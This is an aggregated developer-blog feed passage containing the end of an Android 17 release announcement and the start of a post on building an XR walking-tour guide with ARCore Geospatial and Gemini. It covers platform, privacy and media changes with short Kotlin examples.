<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a Mixed-Reality Tour Guide with Android XR, the Geospatial API, and Gemini]]></title>
<description><![CDATA[Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XRAt this year's Google I/O, we announced an update for spatial experiences: the Geospatial API is now available as a preview in ARCore for Jetpack XR. By bringing Google's Visual Positioning Sy...]]></description>
<link>https://tsecurity.de/de/3693504/android-tipps/building-a-mixed-reality-tour-guide-with-android-xr-the-geospatial-api-and-gemini/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693504/android-tipps/building-a-mixed-reality-tour-guide-with-android-xr-the-geospatial-api-and-gemini/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:35 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKrortZT9X64_5gun79eaNo1niWelmj6Mixfrw4eBLKkec02_w-el6vVXR8IuyPA40B4lB22yEdCK5KNVOZ3DwG3sja7MJArx60irN7gP9P7rnzMjx8sejJeE6puifztBfMv_mExAuAjKkE3rjW1PRulfU0wTfIVLtmb9lEUW4L9hhFme1ArGmV09GuXM/s320/MM%20Android%20XR%20Geospatial%20V02_Meta%20(1).png"><div><i>Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XR</i></div><div><i><br></i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTa2M7znb9EjsONU5iM1tvB_KPswY-yT7pqYZ2gZmJGk9Z6WONXgDOsTj9vvTPD8a38-XvPm7HafuF1-nChC7dix2CQfnTpH6T-YdPhaL85A7rRugnlwwtPtwH-Z5WWSFVNYXCclOOL5DtNbNqRLX-ZJVAIrRDxYs8pgfWS0O0O2P_e-W6TjYH_RjnCuM/s8000/MM%20Android%20XR%20Geospatial%20V02_Blog.png"><img border="0" data-original-height="2442" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTa2M7znb9EjsONU5iM1tvB_KPswY-yT7pqYZ2gZmJGk9Z6WONXgDOsTj9vvTPD8a38-XvPm7HafuF1-nChC7dix2CQfnTpH6T-YdPhaL85A7rRugnlwwtPtwH-Z5WWSFVNYXCclOOL5DtNbNqRLX-ZJVAIrRDxYs8pgfWS0O0O2P_e-W6TjYH_RjnCuM/s16000/MM%20Android%20XR%20Geospatial%20V02_Blog.png"></a></div><br><div><br><br><i><br></i><div><i><br></i><p><a href="https://www.youtube.com/watch?v=1KOO2lqsdaA">At this year's Google I/O</a>, we announced an update for spatial experiences: the <a href="https://developer.android.com/reference/kotlin/androidx/xr/arcore/Geospatial">Geospatial API</a> is now available as a preview in <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk/arcore">ARCore for Jetpack XR</a>. By bringing Google's Visual Positioning System (VPS) to Android XR, Android XR enables anchoring digital content to the physical world with sub-meter accuracy and precise orientation in supported areas.* To explore what the Geospatial API could unlock, our team built a demo: the XR Geospatial Tour.</p>

<p>Imagine walking into a new city, putting on a pair of wired XR glasses (like the upcoming XREAL Project Aura), and instantly having a knowledgeable, local guide showing you around. You don't need to stare down at a 2D map—instead, 3D models gently guide your path, and an intelligent voice tells you about the historical landmarks right in front of you. We combined the <a href="https://developer.android.com/reference/kotlin/androidx/xr/arcore/Geospatial">Geospatial APIs</a>, <a href="https://firebase.google.com/docs/ai-logic">Gemini API using Firebase AI Logic</a>, <a href="https://ai.google.dev/gemini-api/docs/maps-grounding">Google Maps Grounding</a>, and <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk">Jetpack XR SDK</a> to create a hands-free, immersive walking tour experience.</p>

<div class="separator">
  
<p>*Disclaimer: Video and Tour Guide application are for demonstration purposes only. Some sequences have been shortened. Any hardware depicted may be under development; final product details may differ.</p>

<p>Let’s walk through the implementation details and show how we tied these APIs together to build a world-scale spatial experience.</p>

<h3>1. Pinpointing the User with ARCore Geospatial API (VPS)</h3>
<p>Enhance your navigation experience on XR by combining the power of GPS with the precision of VPS. The accuracy and precise orientation that comes with VPS allows 3D waypoints to align with the physical world.</p>

<p>This is why the Geospatial API on Android XR can help you build custom experiences. By using advanced computer vision, VPS tries to provide a <a href="https://developer.android.com/reference/kotlin/androidx/xr/runtime/math/GeospatialPose">GeospatialPose</a> (including latitude, longitude, and heading) that is more accurate than GPS.</p>

<p>Here's how we retrieve the user's Geospatial pose by mapping the device's orientation to a Geospatial coordinate:</p>
<pre><div>// Retrieve the current geospatial pose from the ARCore session</div><code><div>val result = geospatial.createGeospatialPoseFromPose(arDevice.state.value.devicePose)</div><div>if (result is CreateGeospatialPoseFromPoseSuccess) {</div><div>    val pose = result.pose</div><div>    Log.d("VPS", "Accurate Location: ${pose.latitude}, ${pose.longitude}")</div><div>}</div></code></pre>

<p>Because the entire experience relies on this accuracy, we monitor the horizontalAccuracy and orientationYawAccuracy until they meet our thresholds. If the user is indoors or in an unrecognized area, we prompt them to "walk to an outdoor public space and look around".</p>

<h3>2. Crafting the Itinerary with Gemini API &amp; Google Maps Grounding</h3>
<p>Once we have a location, we use the <a href="https://firebase.google.com/docs/ai-logic">Gemini API using Firebase AI Logic</a> to prompt the Gemini model to act as a local tour guide. We pass the user's coordinates to the model and ask it to output a structured JSON response containing nearby walking tours:</p>

<pre><div>   val configForTools = ToolConfig(</div><code><div>      functionCallingConfig = null,</div><div>      retrievalConfig = retrievalConfig {</div><div>        latLng = FirebaseLatLng(pose.latitude, pose.longitude)</div><div>        languageCode = "en"</div><div>      }</div><div>    )</div><div></div><div>    val responseJsonSchema = Schema.obj(</div><div>      mapOf(</div><div>        "locationIntro" to Schema.string(),</div><div>        "tours" to Schema.array(</div><div>          Schema.obj(</div><div>            mapOf(</div><div>              "title" to Schema.string(),</div><div>              "description" to Schema.string(),</div><div>              "stops" to Schema.array(</div><div>                Schema.obj(</div><div>                  mapOf(</div><div>                    "name" to Schema.string(),</div><div>                    "detailedName" to Schema.string(),</div><div>                    "description" to Schema.string()</div><div>                  )</div><div>                )</div><div>              )</div><div>            )</div><div>          )</div><div>        )</div><div>      )</div><div>    )</div><div></div><div>    val model = Firebase.ai(backend = GenerativeBackend.googleAI()).generativeModel(</div><div>      modelName = "gemini-3.5-flash",</div><div>      tools = listOf(Tool.googleMaps()),</div><div>      generationConfig = generationConfig {</div><div>        responseMimeType = "application/json"</div><div>        responseSchema = responseJsonSchema</div><div>      }</div><div>    )</div><div></div><div>   val result = model.generateContent("The user is at latitude ${pose.latitude} and longitude ${pose.longitude}. Generate exactly 3 diverse tours near this location (e.g., historical, food, nature). All tour ideas should be walking distance only.")</div></code></pre>

<p>Large Language Models are great at generating rich descriptions, but they can sometimes hallucinate exact latitude/longitude coordinates. To solve this, we used <a href="https://ai.google.dev/gemini-api/docs/maps-grounding">Google Maps Grounding</a> to ground the AI.</p>

<h3>3. A Voice to Guide You: Gemini 2.5 TTS</h3>
<p>To make the tour guide feel truly present, we implemented dynamic voiceovers.</p>

<p>Using the gemini-2.5-flash-tts model, we can configure our model generation config to natively return audio data instead of just text! Here’s how you can request the ResponseModality.AUDIO:</p>

